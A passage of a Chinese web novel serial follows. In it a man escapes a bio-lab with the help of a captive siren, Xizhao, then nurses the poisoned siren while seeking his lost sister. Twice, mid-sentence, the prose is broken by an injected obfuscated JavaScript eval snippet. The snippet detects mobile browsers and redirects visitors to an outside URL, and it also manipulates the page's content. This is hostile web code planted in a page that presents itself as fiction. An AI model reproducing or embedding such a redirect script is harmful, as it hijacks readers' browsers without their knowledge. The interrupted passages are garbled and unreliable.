说干就干。行动力满分的北淼静待他们更换弹夹的那几秒。地面的影子慢慢扩大,北淼在枪声结束的刹那冲出货箱,根据影子预判位置、上去就是一个借力蹬墙踢,成功踹掉对方手里的枪,接着在另外两个人提枪上膛之前三下五除二地用拳脚悉数解决。北淼捡起地上的两把手枪,迅速换上子弹、捡起没用完的弹夹——“真理”到手,接下来就简单多了。然而,灰喑的安保可不止这几个人。听到电梯的“叮”声之后,北淼反应迅速地捞起地上一个可怜人挂在自己面前作为肉盾,挡下突袭进来的几发子弹。他连连后退,看准机会对玻璃围栏最脆弱的裂纹处连开数枪。玻璃粉碎的瞬间,北淼带着人直接跳了下去。 事实证明,即使这样也挺疼的。 北淼用尽毕生修养没有疼得骂出声,因为脑袋上还有枪林弹雨。那些安保得到的指令似乎是“不计代价”将他击杀,因为北淼注意到他们并不关心误伤研究员,而是选择火力覆盖式猛攻。还有另一部分人已经在往这里赶了。 所幸那个“鱼罐头”足够高、也足够硬,只要北淼找准角度,负5层的人就打不到他,而来到负7层的人也会被他的防守击退。但北淼的子弹有限,研究员也都跑光了,距离安全通道还有起码百米远,这样下去坚持不了多久他就得成筛子。 正当北淼觉得孤立无援、黔驴技穷时,他发觉身后的“鱼罐头”似乎有什么动静。他回头看去,只见那银色的塞壬被枪声惊醒,除了颈环之外,损坏的仪器使得它身上的管子和锁链一根根脱落,巨大的银色鱼尾在这不小的容器中也显得拥挤,耳鳍也因面前的狼藉和枪战警惕地竖起。先前在岛上距离太远,北淼也没注意看,现在他才发现,原来这只塞壬的上身也零散覆盖着一些银鳞,在实验室的白光反射下显得十分亮眼。它的背鳍和耳鳍也非纯色,不仔细看根本看不出尖端都带着些淡淡的蓝,而背鳍两边……北淼眯了眯眼睛,那里有两道藏在鳞片下的条状痕迹,他一时间分辨不出那是胎记还是疤痕。 突然,脚边的一枪让他瞬间清醒。北淼毫不留情地给了自己一耳光。搞什么,塞壬不唱歌都能让他分神,还要不要命了??北淼探头往子弹来的方向就是两枪,接着迅速缩回容器背面。 西钊根据枪声的方向注意到了背靠容器不断绕着走躲避围剿的人——北淼,应该是叫这个名字。西钊记得这个人,他是冰儿的哥哥。据冰儿所说,十年前,就是北淼在船上松开了她的手,导致她坠海;并且北淼还在特洛伊岛上朝他的肩膀开了一枪,那感觉就和被卡伦持续电击一样疼;之后北淼还当场羞辱冰儿,让她后来在洞穴里生闷气。某种意义上说,西钊并没有对这个人类友好相待的立场和理由。 塞壬的寿命比人类长得多。西钊虽然是年轻一代的塞壬,但也阅人无数。他一直都理解人类对塞壬各种各样的态度,不论是友好还是敌对,因为塞壬帮助过他们,也伤害过他们。即便现今人们的敌意大于善意,西钊依旧喜欢着人类。他本以为这是一种基于“人不犯我我不犯人”互不干涉的共存关系,但经历过冰儿、卡伦和北淼之后,西钊终于开始认真思考。或许他之前自以为的“喜欢”太过肤浅,只有真正与人类相处,才会知道他们是怎样的生物,才会明白什么才是真正的善恶与喜恶。 北淼向他开枪,对他而言是一种敌意,但换个角度,北淼也经历过那场船难,自然知道罪魁祸首是塞壬,所以对塞壬这个物种产生偏见和恶意,其实并不难理解。这不是北淼的错。但冰儿——小雪呢?北淼真的如冰儿所说,无情地抛弃亲人了吗?西钊没有家人,他不知道自己来自哪里,他诞生于天空和海洋之间,他不懂这些对于北淼来说算得上什么。 弄不明白这些的西钊对是否帮助北淼犹豫不决,他害怕北淼会再次伤害冰儿。但一声枪响和压抑的痛呼吸引了西钊的注意:子弹击中北淼的右手小臂,血瞬间染红他身上披着的白大褂,手枪虽然在手,但已经没有子弹。他靠着容器滑坐下来,试图给自己紧急做个止血带。西钊注意到,北淼的视线看向实验室尽头亮着绿光的“紧急出口”,他想,那里应该就是北淼要去的地方。可是,就现在的情况和伤口的出血量来说……弹尽粮绝、凶多吉少。 而就在此时,广播传来卡伦像是某种恰到好处的“咒语”一般的声音:“敢在我的地盘闹事,胆子不小啊。西钊,给我放开手脚、解决他。我和冰儿在老地方等你。” 这是下了斩杀令啊。西钊低头看向北淼,发现他在翻找里衣口袋里的东西,最后拿出来一枚黯淡无光的青绿色鳞片。西钊记得这个颜色和花纹,和十年前唱出“狂暴之歌”的塞壬很像。不论之前拥有怎样的魔法,现在都无法再发挥效果。北淼怒火中烧地一拳砸向容器,震动导致的波纹让西钊心里也跟着震了震。 怎么办,要杀了他吗?西钊不喜欢这个词,他连想都不愿意想。而且看北淼的样子,他听到“冰儿”基本没什么反应,不知道是他不在乎小雪,还是压根不知道冰儿就是她的妹妹。自己真的要见死不救吗? 西钊犹豫之际,两名黑衣安保已经绕过容器,举枪对准了北淼。 “看来在‘真理’面前,拳头还真是不值一提。”他听见北淼自嘲地说着类似“遗言”的话,“死在这混蛋面前还真是不甘心……” ……啊? 在、在说我? 不对,现在不是想这个的时候!!! 管不了那么多了!诗歌里都唱过,只有足够爱才会足够恨,小雪一定不会希望北淼就这么死在这里的。 西钊摆动鱼尾,在容器中挺直上身。他没办法用歌声伤到灰喑的人,但塞壬可从来都不只是一条鱼而已。西钊闭上眼,开口释放一段声波,利用共振原理以及属于塞壬的魔法直接将整个胶囊容器全部粉碎。炸裂的声响分散了所有人的注意,从罐中溢出的水把所有人都变成了落汤鸡。 北淼刚要为沾水吃痛的伤口大骂出声,就看到一个比自己高大一些的影子从高处落下,站在他面前背对着他:深棕色的短发微微卷曲,一点不像刚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17334693|199228||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 从水里出来的样子;腰部的侧翼向两边展开,将北淼护在羽翼的阴影下;胯部的尾翼优雅地折叠,几乎要垂落到地面;比北淼脸都大的利爪死死压在地面,行走的每一步指甲都在地面留下深深的划痕;五指逐渐长出锋利的尖爪,手臂也覆上白色的羽毛。 西钊,一个他想杀死的塞壬,在他即将送命的时候,违抗卡伦的命令、挡在他面前。 太讽刺了。 这时,看到西钊背部那两道骇人痕迹的北淼终于意识到,那不是胎记,是伤疤。而那个位置,或许曾经有着一对比腰部的侧翼更大、更漂亮的翅膀。 就在北淼分神时,西钊已经主动出击,灵活地闪避着子弹,下了狠心一般第一次用他致命的利爪撕开人类的胸膛。血时不时溅到他洁白的羽毛上,但他并未因此停手,一边保护北淼不受伤害、一边解决源源不断的袭击。 但他们终究只有两个人,如果不是正好赶上接受灰喑的实验,西钊根本无法维持这个形态。这么一番折腾,他也快到极限了。于是他决定至少要把北淼送到安全出口。抬爪掀翻最后一个近身的安保,西钊立即回身将北淼轻轻松松地打横抱起来就往出口方向跑,也没管北淼在他臂弯里做无谓地挣扎——西钊还以为是爪子扎到他了,还贴心地把爪子收回去了呢。 沿路上,其他安保人员也都陆续赶到。西钊因为背后和腿上挨了两枪,步子不稳,差点在打开门的时候直接把北淼丢下去。不过也大差不差,西钊前脚刚把北淼在楼梯口前放下,还在挣扎的北淼后脚就自己一个没站稳滚到下一节楼梯的平台上了。虽然能清楚地听见北淼翻身起来的时候骂了句脏话,但是西钊顾不得这些。 关上门之前,他忽然想起什么,利落地用爪子划开自己的手掌,让血滴落地面顺着楼梯一直流到北淼脚下。只见那鲜红的血像是有自我意识一般在地上画出了形状,准确地说,是文字: 冰儿 = 小雪 那一瞬间,北淼的表情从恼羞成怒变成了震惊和困惑。西钊看得出,那双眼里装着的全都是对一个人满满的爱和愧疚,甚至还有一丝绝望。于是西钊明白,他赌对了。北淼怎么看待塞壬、怎么看待自己都是次要的,西钊要的就是北淼对小雪、对冰儿的这个态度。 有着这样一双眼睛的人,是绝对不会伤害冰儿的。 于是西钊也不再犹豫,转过身用力将门关上,独自面对站在他面前的一队黑衣安保。 听到门的另一侧传来的阵阵枪声,北淼有一种出去杀光所有人、然后掐着西钊的脖子问它这到底是怎么回事你给我把话说清楚的冲动。但是他做不到。 冰儿,全名柳冰儿。他在灰喑档案室翻资料的时候见过这个名字,档案上的照片就是那天他在岛上用枪指着、拿名片高傲羞辱的人。北淼顿时脑子一片空白。他在干什么?他都干了什么?他居然对她说“你和那个怪物没有差别”。不,不对,难道他真的要相信一只塞壬的说辞?可是—— 巨大的撞门声和失血过多产生的贫血眩晕让北淼没有时间多加思考,他得先逃出去。从这里经过电梯井就可以到地下运河的维修通道,和外面的坤中汇合。北淼三步并两步向下狂奔,脑海中不断重复西钊关上门的最后那个瞬间。它……他身上都是血,分不清到底是人类的还是他自己的。把他留在那里,等着他的或许只有一死。 可恶,别这么死掉啊,我还没动手呢! 北淼算到坤中现在应该在外面接应,急忙拿出差点被子弹击碎屏幕的手机,拨出坤中的紧急号码,刚刚接通就急不可耐地吼道:“坤中!呼叫增援,包抄这里!把他们一举拿下!” “北淼?你不是说不出警吗?”坤中显然还在状况外。 “你想不想立功?照我说的做!问美真要证据,马上发给你们上级!搜查令和逮捕令能尽快申请就尽快申请,先叫人进来!” 北淼的语气让坤中也跟着慌乱起来,他一边“是是是”一边拿起警用无线电汇报情况、呼叫增援。电话挂断的同时,北淼也正好从维修通道气喘吁吁地跑出,迅速钻进坤中老旧的橙色小轿车里。 “……你不要命了,开这么显眼的车。”北淼瘫在副驾上闭眼,时不时因为拉扯到伤口嘶声抽气。 “哎呀!这是我奶奶的车,你将就将就嘛!”坤中着急忙慌地拿出急救箱给北淼处理伤口,看着北淼那副眉头紧皱要杀人的表情也没敢说话。等弹头被取出,伤口止血、完全包扎好之后,年轻的刑警还是禁不住好奇。 “不是潜行任务吗,怎么突然要围剿他们……?” “救条鱼。” 北淼眼睛都没睁开,没好气地回答。 “……啊?” TBC 66. 所以你和我[番外] D市,ERP生物科技有限公司,会客室内 东杉从美真手里接过一份报告,递给茶几对面的北淼。北淼右肩还挂着绷带,吊着他中弹扭伤的手臂。他左手接过报告,一边用拇指捻着纸张随意翻看,一边问道:“前些天是怎么回事?我记得……ERP的防火墙是差不多可以和国家安全局匹及的程度。” “是我判断失误。”东杉握拳不轻不重地敲了一下大理石茶几,咬牙抱怨道,“当时,我们攻破一部分灰喑的防火墙,眼看就要成功骇入中央服务器了,这时突然检测到一个对方的系统‘漏洞’,我以为可以趁虚而入,结果——” “是陷阱。”北淼淡淡地接过东杉的话,将纸张放回桌面上,“查得到是谁、在哪儿攻击你们的吗?” 东杉摇头叹气的时候,美真正好拿着一沓档案走进会客室,在离北淼较近的空位坐下,低头翻阅手里的纸张:“你们在聊什么?对了北淼,西钊的检查报告出来了,你要看吗?” “不看。有什么值得注意的,你只管念。” “好吧。”美真耸耸肩,翻找着报告里被标记高光的部分,“弹头全部取出之后,除了一些旧伤,目前它的情况还算稳定。但是它体内有一种慢性毒素,生理机能会逐渐衰竭,最终导致死亡,周期大约是10天左右。根据检测报告来看,形态变化和‘魔法’的使用会加速这个过程。所以,在博士找到解毒方法之前,我还是不建议你伪造它的死亡把它运到家里。” 北淼越听越不对劲,眉头皱起,不解地看向美真:“等等,你们要救它?” 美真和东杉都是一副“那不然呢”的表情,北淼不禁在心里吐槽这两个人的同步率,不愧是从高中就同校同桌同系一直到大学毕业的学姐学弟。 北淼听到东杉为美真解释道:“抛开它的研究价值不说,好歹也是条生命。况且它曾经为灰喑做事,对我们重新扳倒灰喑也有很大作用。” “好歹也是条生命”,说得好听。北淼在心里对这个说法嗤之以鼻。好在他有先见之明,知道ERP和他一样对西钊动机不纯,因此在美真检查完西钊之后就以一招声东击西将西钊运往那栋海边别墅了。北淼不自知地移开视线,略有心虚地转移话题:“说起这个,坤中那边,对灰喑的搜捕行动怎么样了?” “好消息是,灰喑现在正式被政府部门归为危险等级较高的犯罪组织,目前正在全面调查和抓捕相关人员。”美真轻快地说完好消息之后,便托着下巴哀叹着摇摇头,“坏消息是,他们不止‘灰喑生物科学研究所’一个基地,很有可能已经转为地下活动。而且我们也没有从坤中那里找到冰儿的线索。” 北淼若有所思地微微点头:“也就是说,现在知道小雪行踪的,只有西钊。” “可以这么说。或许我们可以和他好好谈谈。”东杉转头望着美真,试图征求对方的意见,“你觉得呢?” 不等美真回答,北淼已经站起身往会客室门口走:“和它这种家伙没什么好谈的,说再多也只是对牛弹琴。这么轻易放松警惕,到时候被卖了还帮人家数钱。我想要的情报,自然有方法弄到,你们别插手。” 望着北淼走进电梯的背影,东杉琢磨了一会儿方才北淼的话,他忽然意识到情况不对,骤然提高的分贝把美真吓了一跳:“美真!快去看看西钊!” 果不其然,监控屏幕上的观察室内,此时早已空无一人。 “……张北淼——!!!” 东杉捂着耳朵,默默为北淼祈祷。 ———— 西钊做了一个梦。 他梦见了十五年前的自己。他跟着海风的方向误打误撞飞到了一处海湾。那里的风景很好,几乎看不到人烟,只有一栋装横精美的别墅矗立在沙滩之外。他落在浅滩耸起的一块高大礁石上,梳理被海风吹乱的羽翼。 此时,一个约莫六七岁的孩童朝他的方向跑来。他下意识想离开,却又不可避免地被人类这样奇妙的生命所吸引。于是他保持姿势、并未马上飞走。他注意到这个男孩儿身后还跟着一位管家,年纪不大,应该刚刚年过四十。只听那名管家一边踏着软沙追赶着男孩儿,一边焦急地呼唤:“小淼、小淼——” 小淼……? 为什么梦里的自己觉得这个名字很熟悉呢?就在这个瞬间,他发现眼前对他充满好奇和敬畏的男孩儿忽然长大,变成了一个他不再陌生的人类:张北淼。那双曾充盈惊叹与善良的双眼此时已被敌意的阴霾掩盖,他看到北淼举枪、对准他的心脏、毫不犹豫地扣下扳机。 西钊在这一声枪鸣里惊醒。 醒来之后,西钊发现他并不在灰喑的研究所,而是……老实说,他也不知道。他没有去过除了研究所之外的人类世界,对人类世界的全部了解只来自船只、书籍、诗歌和音乐。西钊根据记忆里图册的样子,大致判断这里应该是“浴室”,而他现在躺在一个……叫“浴缸”的容器里,旁边还放着做成吐泡泡姿势的鱼型加湿器不停朝他喷着水雾。 大概是救他的人觉得鱼离开水会死但是又不敢让伤口沾水,所以想出的“缓兵之计”吧。西钊甚至能想象到那个人笨拙而忙乱的模样。 人类……真的是很可爱的生物。西钊不禁勾起嘴角,暗暗感慨。 脖子上的颈环还在,西钊尝试活动上身,他这才感觉到右手被一个环状的东西圈住,另一个环套在浴缸的管道上。他试着拽了拽,似乎只要稍微用力就可以挣脱。不过这好像是别人家的东西,最好还是不要弄坏吧。西钊如此想着,翻身又窝了回去。浴缸不大,他半靠在冰凉的瓷砖墙上也塞不下整个身子,大尾巴只能垂在鱼缸外面。西钊的耳鳍耷拉下来,低头打量自己。在灰喑受的伤似乎被很好地处理过,只是这个包扎水平和冰儿有得一比:专业、但粗糙,丝毫不考虑美观——他尾巴上缠着的纱布都快系成蝴蝶结了。 老实说,西钊本以为自己会死在那些人的枪下,但最终他却在这里苏醒。也不知道是谁救了他,至少不会是卡伦。因为,呃……西钊看向那个丑丑的“蝴蝶结”,忍俊不禁。 西钊在心中暗暗发誓,不管是谁帮了他,他都愿意在力所能及的范围内给予对方自己的恩惠。而他只有一个请求:放他离开,他要去找冰儿。他违抗了卡伦的命令,卡伦一定不会轻易放过冰儿,加上北淼在灰喑闹事,一定要尽快找到他们才行。 ——对了,北淼。北淼怎么样了?伤得那么重,有好好休养吗?有没有联系上小雪?他会救她吗? 西钊虽然担心北淼的情况,但他现在哪里都去不了,甚至没办法离开这个浴缸。现在他只能等这里的主人回来。 他一会儿用左手在瓷砖上写写画画,一会儿看着鲤鱼加湿器发呆,遗憾它不是真的鱼,跟它说话也听不懂。百无聊赖之下,西钊最终选择用歌声为自己排解寂寞。 北淼在空荡的、家具还盖着塑料布的前厅里驻足,漠然看着面前熟悉又陌生的一切。 他脱下外套挂在门口,挤着塑料布就窝进了沙发里,丝毫不在意身旁被震出一片尘埃。还好现在是白天,不需要照明,因为这里压根就没有通电。北淼下意识按了按智能开关,毫无反应。他默默收回手,在半空中挥了挥,企图散去眼前的灰霾。 水电明早才能通上,不过好在床和浴室都能用,必要的生活用品也一样不缺。不然,他还真不知道该把那条鱼养在哪儿。想到这里,北淼准备起身去看一眼被他拷在浴室的塞壬,结果就听见空旷的房屋里传来幽幽的吟唱,悦耳的歌声在这久无人居的灰蒙旧宅里显得格外诡异。 我长久地走在这些海岸之上, 在沙子与泡沫之间, 潮水会覆盖我的脚印, 风会吹散泡沫。 但海和岸将永存。* (*摘自哈利勒·纪伯伦《沙与沫》) 北淼在这动人的(嘿,这只是个比喻,他没觉得好听)乐声里阴着一张脸猛地推开浴室的门。浴缸里,棕发的塞壬正抱着那个蠢透了的加湿器,低头歌唱。听到北淼粗鲁的闯入,塞壬猛然抬起头,耷拉的耳鳍即刻竖立,歌声戛然而止。 “……” “……” 两人相顾无言,就这么对视许久。一个不敢相信救下自己、给自己尾巴系“蝴蝶结”的人就是对他一直抱有敌意的北淼;一个不忍直视他大费周章带回来的塞壬现在正傻傻地抱着像玩具一样的加湿器,用歌声自言自语。 最终是北淼打破了尴尬的局面,走上前一把夺走西钊手里的红色小鲤鱼,搁在它应该在的位置:“你在干什么,蠢死了。” 西钊没出声,只是动了动耳鳍,安静而温和地看着北淼,最终将视线落在北淼挂在胸口缠着绷带的右手。 北淼被他盯得很是烦躁,在浴室里来回踱步,不自然地抬起左手抚摸后颈,避开西钊的视线,用他一贯的高傲语气说道:“别误会。我救你只是因为你对我还有用。那天你说冰儿——那个柳冰儿——就是小雪,这是怎么回事,你给我好好说清楚。”北淼停下脚步,左手撑在浴缸边缘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17334694|199228||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,俯身极具压迫感地凑近西钊,“否则……你知道,对‘塞壬’,我一向不会手下留情。” 西钊眨眨眼,微微后撤,半个身子都贴上了瓷砖墙,但他眼里并没有面对卡伦时的恐惧和不甘。他为什么要害怕?这是北淼、是冰儿的哥哥、也是现在他所知唯一可以帮助他救冰儿的人。 西钊张口刚唱出音调,就被北淼一声呵斥堵了回去:“我让你说话!你听不懂吗?” 西钊闭上眼,将手放在颈环上,缓缓摇头,想要向北淼暗示些什么。而当他睁开眼时,便看到北淼冷漠地扔给他一部叫“手机”的设备,卡伦和冰儿经常用,但他不太会。屏幕亮起,上面显示着几排有字符的按钮。西钊抬头望向坐在浴缸边缘的北淼,而对方依旧没有和他对上视线,而是盯着对面的墙壁冷冷说道:“不能说话就打字。打字会不会?” 西钊试探性地触碰屏幕上的按钮。发现它能够显示出文字之后,便低着头认真地用拇指一字一句敲击着北淼这个国家所使用的对应文字。他想了想,决定隐去“不必要”的细节。 “十年前,卡伦曾经施虐的塞壬用生命脱离了他的掌控,唱出的狂暴之歌使你和小雪的船沉没。我发现了落水的小雪,但我们遭遇了卡伦。卡伦给小雪取名冰儿,让我们为他截取航船的货物。他对小雪下了毒,每周都要打针。这种毒有解药,在他手里。我知道他和冰儿在你来实验室那天去的地方,但我不知道他们现在是否还在。” 北淼接过西钊递来的手机,无言地看着上面的每一行字。 美真说过,西钊体内有一种能让身体慢性死亡的毒素,结合西钊的说辞,这种毒小雪身体里也有。但是……为什么?为什么西钊选择对他隐瞒自己也中毒了这件事?是怕他用解药作为威胁吗?而且,如果卡伦的目标是塞壬,那他为什么带走小雪?一个十二岁的女孩儿对他来说完全没有用途。 众多未解的猜想让北淼不自觉抬眼看向对着浴室门口发呆的西钊。那双和他发色一样的深棕色眸子澄澈明亮,太过干净以至于能倒映出北淼自己的影子。 这时他忽然注意到,有些类似丝线的黑色纹路从西钊背部向肩膀处蔓延。北淼心里一惊,伸出手按住西钊的肩膀用力扳过他的后背。果不其然,无数可怖的黑色脉络如藤蔓一般以西钊淡蓝背鳍两侧的伤疤为中心,向外缓慢扩散。他听见西钊轻轻发出了“嘶”的一声,这才松开把人肩膀掐得发红的手。 “为什么不告诉我你也中了那种毒?”北淼死死盯着按揉肩膀的西钊,还是没忍住好奇,语气里满是质问,“变换形态会让你死得更快,为什么还要救我?对敌人心软,就不怕被反杀吗?” 西钊停下动作,摇了摇头,给北淼一个柔和的苦笑。他拿过北淼的手机,在上面简略地写道:“你死了,冰儿怎么办?” 不知为何,北淼忽然有一种感觉,这句话更适合他来对西钊说:你死了,冰儿怎么办? 这个家伙代替他陪在小雪身边十年,一定给了她很多自己这个哥哥没机会给的东西。西钊对冰儿来说……一定也很重要。混蛋,这让他怎么下得去手。 见北淼脸色苍白、表情复杂,西钊思索片刻,又补了一句:“没关系。我知道你恨的是塞壬,不是我。” “……” 北淼与这只漂亮的银色塞壬对视良久,哑口无言。西钊看得太透了,让他有些无地自容。然而,放不下骄傲的黑犀公子一时又无法拉下脸对这个家伙示弱。他夺过西钊拿着的手机、解开束缚西钊的手铐,瞥一眼那个幼稚的加湿器之后便把它重新丢进西钊的怀里,仿佛掩饰尴尬的猫。 “明天正午出发。”北淼虽然听上去还是很失礼,但比最开始友好了许多,“你哪儿都不许去。别来烦我。” ……我还能去哪儿啊。 西钊哭笑不得地把玩那只小鲤鱼。他看向北淼一边叹气一边起身出门的背影,似乎感觉到了对方散发出的疲惫和烦躁。尽管知道北淼不会喜欢他这么做,西钊依旧缓缓开口、轻声唱道: 我从未完全认同另一个自我。 事情的真相似乎就在我们之间。 你的另一个自我总是对你感到抱歉。 但它也学着在悲伤中不断成长; 所以一切无妨。* (*摘自哈利勒·纪伯伦《沙与沫》) 北淼停住脚步,没有说话、也没有回头。 没关系。 一切无妨; 一切都会好的。 TBC 67. 海上升起的诗歌[番外] ※西钊专场可搭配BGM: 黒翼は~と-ユージ?ナイトー ———— 牺牲的意义是什么? ———— 尽管毒素仍在不断扩散,西钊也向北淼保证他可以下水。他告诉北淼卡伦所在的“忒修斯岛”处于尼莫点海域,由各种人类科技垃圾和一座无名浮岛扩建而成。如果没有海洋生物的引领,即使补给充足的情况下人类的船只也很容易在尼莫点海域迷失。本就和海洋保护机构合作的北淼自然是听过类似的科普,虽然觉得让几条鱼给三水之家的船带路多少有点荒谬,但他还是接受了西钊的说辞。 前往忒修斯岛的路程需要至少一周,为了确保西钊不会毒发身亡死在半路,北淼说服坤中“借”了一些从灰喑实验室拿到的缓释血清,交给ERP那边委托他们进行小批量生产——当然,为了保住坤中的职业生涯,他最终还是把作为证物的样本还了回去。 临行之前,西钊当着北淼的面,从自己的背鳍旁取下一片银鳞,双手交握、将其夹在掌心,吟诵着不属于人类的语言。吟唱结束,鳞片在西钊手中焕发出淡淡的银色光辉——只要不被夺走、就能一直免疫塞壬魔法的祝福之物。 西钊本想亲自给北淼戴上,北淼却伸手抢过,一言不发地随意放进口袋里。 按照美真的计算,在航程的第三天,北淼需要给西钊注射缓释血清。 他带上注射器放下救生快艇,拍打海面“召唤”西钊。西钊应声而来,很贴心地没有把水甩到北淼身上。他背转过身,安静等待北淼给他注射。 看着西钊差不多覆满整个背部的蛛网状黑色血管,以及背鳍两侧被毒素染黑的伤疤,北淼之前的猜想再次浮现于脑海。那是他一直不愿面对的猜测。因为如果这个猜想成立,那么他由始至终对西钊的敌意就是个彻头彻尾的笑话。 北淼没有马上给背对自己的西钊注射缓释血清,而是抬手顺着脊背的伤疤小心翼翼地一路向下抚摸。西钊被北淼这种陌生的体温和触感惹得微微耸起肩膀哼哼出声。北淼也不知道西钊是觉得痒还是疼,他有那么一瞬间想问,但话到嘴边却完全变了样。 “这两条伤疤,怎么弄的?” 西钊的耳鳍竖起,对北淼的这个问题很是意外。他侧过脑袋回头看向北淼,双手的拇指勾在一起,其余手指在两边扇动,形似一对翅膀。 北淼立即理解了西钊的意思,“啧”了一声皱起眉头。果然没错,这是翅膀被斩断的痕迹。北淼能听到自己加速的心跳,仿佛“真相”就在眼前,就看他愿不愿意知晓。北淼收回伸出的手,慢慢握成拳。 在任何可查证的资料中,塞壬都是强大而凶残的,它们有太多可以与人类相匹敌的手段,歌声从不是唯一的武器。这一点,北淼在实验室时已经见识到了。所以,哪怕卡伦能够免疫塞壬的歌声,他也不可能简简单单控制西钊这么久。这是他在西钊之前写的“故事”中发现的第二个疑点。第一个疑点是被带走的小雪。 其实把它们放在一起,因果关系已经十分明确,但北淼不敢去想、也不愿承认。他不知道自己在害怕什么。面对西钊那单纯的、困惑的眼神,北淼避开了。 “如果不是为了保护小雪,你应该不会弱到连一个老家伙都打不过、还失去一对翅膀,是吧。”北淼尽可能地让自己听上去很冷淡,却始终压抑不住些微颤抖的声线,“卡伦给你真正的枷锁,其实是小雪。” 从冰冷海水里救她的人是你。 从卡伦手里保护她的人是你。 而我…… 北淼低头看向手里的针管,缓缓闭上眼。西钊到底是以怎样的心情对着曾向他开枪的人说出“你恨的是塞壬,不是我”的?北淼虽然不理解西钊的想法,但他明白,西钊在实验室拼上性命救他、和他受卡伦要挟保护小雪的理由,大概是一样的。 西钊发现北淼状态不对,他转过身,趴在快艇边缘凑近看了看。他不知道北淼在想什么。根据刚刚的话来判断,北淼或许是觉得自己保护小雪的代价过大,因此难以理解吧。老实说,他也没有预料到会发生什么,也没有想过“代价”,只是觉得应该这么做。 许多年前……大概是上个世纪的事了吧。他曾经因为对自己的力量没有概念,不小心让一艘小渔船触礁沉没。尽管他再努力,还是一个人也没救上来。那天之后,西钊便明白一个道理:没有什么比生命本身更加珍贵、更加重要。他失去的翅膀和囚笼般的十年,也许是当初夺走他人性命的因与果吧。 对现在的他来说,翅膀没有就没有了,又不能重新长回来。反正他以前大部分时间也待在海里。当务之急是去找小雪,得先让北淼振作起来。 于是,西钊低头闭目、屏息凝神,十指张开放在胸口,仿佛那里有一颗看不见的水晶球。渐渐地,西钊手中发出明亮的辉光,成功引起北淼的注意。等北淼抬眼望去,赫然发现西钊递到他面前的是一个白色的海螺吊坠——小雪生日时,北淼送给她的礼物。 为什么会……? 北淼还在发愣,西钊已经从他口袋里熟练地拿出手机,找到打字的按钮,在上面输入道: “这是小雪最喜欢的吊坠,她说是你送给她的礼物。卡伦有一天拿着一本杂志,告诉她没有人会带她回家了。她很难过,一气之下把它丢到了海里,也不许我去捡。这是我等她睡着之后偷偷托海豚朋友带回来的。我一直没有告诉她这件事。我想,如果由你再交给她,她一定会很开心。所以,时间紧迫,别想太多。你一定可以顺利带小雪回家。” 北淼如获至宝,紧紧地将吊坠握在手中,凹凸不平的海螺在他手中压出深红的纹路。他终于与西钊对视,一时也分辨不出自己现在到底是惊喜还是愧疚。他明白,自己应该为曾经的偏见和举止向西钊道歉,奈何他始终拉不下这个脸。 结果,那声“对不起”被北淼揉碎在喉咙里,到嘴边时,就只剩一句:“……谢谢。” 给西钊完成注射、整理行装上船之前,北淼也不知道为什么产生了某种好奇。他转身叫住准备下潜的西钊,抿了抿唇,犹豫半晌才开口问道:“那天你救我,因为我是小雪的哥哥,是么?” 这算什么问题?西钊微微歪头,不太理解北淼的意思。当时他确实是为冰儿考虑,其他的也没多想。好像和北淼说的这个理由没有区别,于是他点了点头。 北淼几次欲言又止,仿佛说出这句话需要极大的勇气似的:“所以,和‘我是谁’无关。换成任何人,你都会救,是吧?” 是、是啊……西钊再次点点头。他越来越搞不懂北淼话里的意思了,什么叫“和‘我是谁’无关”?有时候他真的觉得,人类的社交隐喻比诗歌更晦涩难懂。 “……” 北淼没再追问下去,只是沉默地登船。 因为之前一直都对塞壬怀抱恶意而忽略对方的感受,所以北淼从来没问过,在西钊的角度,他是怎么看自己的。不负责的哥哥?对塞壬不友好的人类?亦或者只是一个单纯的混蛋而已?如果抛开他和小雪的关系、如果他不是小雪的哥哥,西钊还会救一个对他开枪的、无时无刻不在想着如何杀了他的家伙吗? 北淼不禁感慨,西钊对他的认知永远只停留在“小雪的哥哥”上,而不是把他当“张北淼”看待,把他换成任何人,西钊都会做同样的事、有同样的反应。 ……真让人不爽。这份期待甚至还没有开始,他不知为何就已经感觉到了其中的失落。 得了吧,张北淼,说得好像你配在人家心里有个什么位置一样。北淼伏在甲板的围栏边,轻叹口气,放弃思考。他从衣袋中拿出那枚银色的鳞片挂坠,无言地将它戴上脖颈。 ———— 一周后,他们成功抵达忒修斯岛附近几英里的海域。不是三水之家不想靠岸,而是压根做不到。忒修斯岛上完全没有可供船只停靠的“码头”,整个浮岛外围几乎都是人类丢弃的宇宙垃圾,形成了一圈天然的“防御”外壳,必须通过小艇或者空路才能进入。 经过一番观察,北淼发现了一处没有科技残骸的缺口,当即决定带着三水之家的人乘几艘快艇前往。西钊在这之前给他提供了岛上的设施分布图,因此这次行动他打算让西钊在岸边等着自己的信号。一方面,周围海域完全没有大型船只经过的迹象,如果卡伦真的在岛上,那么北淼的人数绝对可以占据优势;另一方面,西钊身上有毒有伤,唱歌起不了作用不说,行动也比不上他这个右手都快能自由活动的人。 没办法,西钊拗不过北淼,现在的自己确实帮不上忙。于是他只好一个人窝在沿岸的快艇里,随着涨潮和落潮的海浪前后漂荡。 如果他没记错的话,卡伦应该会和冰儿在这座岛上。这里没有什么科研设施,所以西钊猜想应该也没什么其他人类,只要等北淼他们带着冰儿回来就好。 